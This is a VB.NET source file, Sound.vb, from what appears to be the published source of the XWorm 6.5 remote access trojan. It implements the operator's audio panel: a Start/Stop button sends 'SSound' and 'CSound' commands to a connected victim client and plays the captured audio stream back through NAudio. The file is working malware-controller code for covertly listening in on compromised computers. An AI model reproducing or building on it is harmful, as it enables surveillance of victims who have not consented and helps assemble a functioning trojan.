Files
XWorm-6.5-Source/XWorm/Forms/Sound.vb
T
2026-08-27 11:22:34 -06:00

50 lines
1.7 KiB
VB.net

Imports NAudio.Wave
Imports System.Threading
Public Class Sound
Public C As Client
Public waveplayer As WasapiOut = New WasapiOut()
Public bwp As BufferedWaveProvider = New BufferedWaveProvider(WaveFormat.CreateIeeeFloatWaveFormat(44100, 2))
Private Sub Sound_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
Try
waveplayer.Stop()
waveplayer?.Dispose()
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
Dim B As Byte() = SB("ESound")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Try
If Not C.IsConnected Then
Close()
End If
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
If Guna2GradientButton1.Text = "Start" Then
Dim B As Byte() = SB("SSound")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
Guna2GradientButton1.Text = "Stop"
Guna2GradientButton1.Image = My.Resources._Stop
PictureBox2.Enabled = True
Else
Dim B As Byte() = SB("CSound")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
Guna2GradientButton1.Text = "Start"
Guna2GradientButton1.Image = My.Resources.Play
PictureBox2.Enabled = False
End If
End Sub
End Class